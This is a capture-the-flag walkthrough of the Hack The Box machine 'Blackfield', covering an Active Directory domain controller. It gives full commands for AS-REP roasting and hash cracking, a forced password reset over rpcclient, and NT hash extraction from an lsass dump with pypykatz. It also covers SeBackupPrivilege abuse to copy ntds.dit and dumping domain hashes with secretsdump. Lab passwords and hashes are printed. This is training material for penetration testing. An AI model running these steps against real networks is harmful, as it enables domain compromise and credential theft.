Blackfield (HTB)

Enumeration

rustscan -g --ulimit 5000 --timeout 2000 10.10.10.192 > ports && ports=$(grep -oP '\[\K.*(?=])' ports) && nmap -sC -sV -v -p$ports -Pn -T4 10.10.10.192

The scan reveals many ports open, including port 53 (DNS), 389 (LDAP) and 445 (SMB). This reveals that the server is a domain controller for the BLACKFIELD.LOCAL domain.

Foothold

Attempting anonymous and guest enumeration of SMB shares reveals a non-default share
named profiles$ . There is also another non-default share called forensic that we don’t have access to.

smbmap -u guest -H 10.10.10.192

Inspecting the profiles$ share reveals a list of user profile or document folders. A list of all
usernames can be generated using smbclient -N \\\\10.10.10.192\\profiles$ -c ls | awk ‘{ print $1 }’ , and saved to users.txt.

smbclient -N \\\\10.10.10.192\\profiles$ -c ls | awk '{ print $1 }'

With a user list and the Kerberos port open, we can try to spray the users Impacket’s
GetNpUsers.py in order to see if any user has Kerberos pre-authentication disabled.

python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py blackfield.local/ -no-pass -usersfile user.txt -dc-ip 10.10.10.192 | grep -v 'KDC_ERR_C_PRINCIPAL_UNKNOWN'

After saving the hash to a file called hash , we can attempt to crack it using John the Ripper with the rockyou wordlist.

john hash --format=krb5asrep

hashcat -m 18200 hash -o pass.txt /usr/share/wordlists/rockyou.txt --force

support:#00^BlackKnight

This is successful, and the password is revealed to be #00^BlackKnight . With a domain account, we can proceed to enumerate Active Directory using bloodhound-python. If we run bloodhound-python with the -ns parameter there will be no need to change the DNS setting on our vm. First, we install bloodhound ingestor using apt (which also installs the neo4j database server), then the data collector with pip3. We can then execute the collector against the target by issuing the bloodhound-python command below.

apt install bloodhound
pip3 install bloodhound
bloodhound-python -u support -p '#00^BlackKnight' -d blackfield.local -ns 10.10.10.192 -c DcOnly

bloodhound

To abuse this, we can use rpcclient to set the password.

rpcclient -U blackfield/support 10.10.10.192
rpcclient $> setuserinfo audit2020 23 P@ssw0rd
exit

After enumerating the SMB shares using CrackMapExec as audit2020 , it’s seen that we now have access to the forensic share.

apt install -y crackmapexec
crackmapexec smb 10.10.10.192 -u audit2020 -p 'P@ssw0rd' --shares

We connect to the forensic share and see a zipped lsass memory dump. LSASS is short for Local Security Authority Subsystem Service, and it stores credentials in memory on behalf of a user that has an active (or recently active) session. This allows the user to access network resources without re-typing their credentials for each service. LSASS may store credentials in multiple forms, including reversibly encrypted password, Kerberos tickets, NT hash, LM hash, DPAPI keys,and Smartcard PIN.

Get GrimTheRipper’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Credentials are stored in LSASS for sessions that have been established since the last reboot and
have not been closed. For example, credentials are created in memory when a user does any of
the following (this is not an exhaustive list).

• Logs on to a local session or RDP session on the computer.
• Runs a process using RunAs.
• Runs an active Windows service on the computer.
• Creates a scheduled task or batch job.
• Runs PsExec with explicit creds, such as PsExec \\server -u user -p pwd cmd .
• Uses WinRM with CredSSP.

So we download the lsass process memory dump locally for further inspection.

smbclient \\\\10.10.10.192\\forensic -U=audit2020%P@ssw0rd
cd memory_analysis
ls
get lsass.zip
exit

After unzipping lsass.zip we can use Pypykatz on the extracted lsass.DMP file to retrieve NT hashes.

pip3 install pypykatz
unzip lsass.zip
pypykatz lsa minidump lsass.DMP

pypykatz lsa minidump lsass.DMP | grep 'NT:' | awk '{ print $2 }' | sort -u > hashes
pypykatz lsa minidump lsass.DMP | grep 'Username:' | awk '{ print $2 }' | sort -u > users
crackmapexec smb 10.10.10.192 -u users -H hashes --continue-on-success

Privilege Escalation

evil-winrm -i 10.10.10.192 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d' -l

whoami /priv

SeBackupPrivilege

We start off by creating a file called cmd with the following content and place it in the
C:\windows\temp\ folder

cd C:\windows\temp

create cmd

set metadata C:\windows\temp\temp.cabu
set context persistent nowritersu
add volume c: alias kxisxru
createu
expose %kxisxr% h:u

upload cmd

We then execute it using diskshadow /s cmd to create a shadow volume accessible via the H:
drive.

diskshadow /s cmd

In Evil-WinRM we upload SeBackupPrivilegeUtils.dll and SeBackupPrivilegeCmdLets.dll
from the SeBackupPrivilege GitHub repo, which will allow us to copy files from the newly
exposed shadow copy (H:).

upload /opt/SeBackupPrivilege/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll
upload /opt/SeBackupPrivilege/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll

Next, import the .dll files and invoke the Copy-FileSeBackupPrivilege cmdlet on ntds.dit and system .

import-module .\SeBackupPrivilegeCmdLets.dll
import-module .\SeBackupPrivilegeUtils.dll
Copy-FileSeBackupPrivilege h:\windows\ntds\ntds.dit c:\windows\temp\ntds -Overwrite
Copy-FileSeBackupPrivilege h:\windows\system32\config\SYSTEM c:\windows\temp\system -Overwrite

Download the saved files with Evil-WinRM.

download system
download ntds

Then run secretsdump, specifying the LOCAL parameter to extract the hashes from the NTDS.dit.

/usr/share/doc/python3-impacket/examples/secretsdump.py -ntds ntds -system system LOCAL

If this wasn’t a domain controller, there would be no NTDS.dit file to get passwords from, so we would need to download the SYSTEM, SAM and SECURITY files instead:

Copy-FileSeBackupPrivilege h:\windows\system32\config\SYSTEM c:\windows\temp\SYSTEM -Overwrite
Copy-FileSeBackupPrivilege h:\windows\system32\config\SECURITY c:\windows\temp\SECURITY -Overwrite
Copy-FileSeBackupPrivilege h:\windows\system32\config\SAM c:\windows\temp\SAM -Overwrite

From these files we can extract LSA secrets, the machine account and local user hashes using secretsdump.

secretsdump.py -security security -sam sam -system system LOCAL

evil-winrm -i 10.10.10.192 -u Administrator -H 184fb5e5178480be64824d4cd53b99ee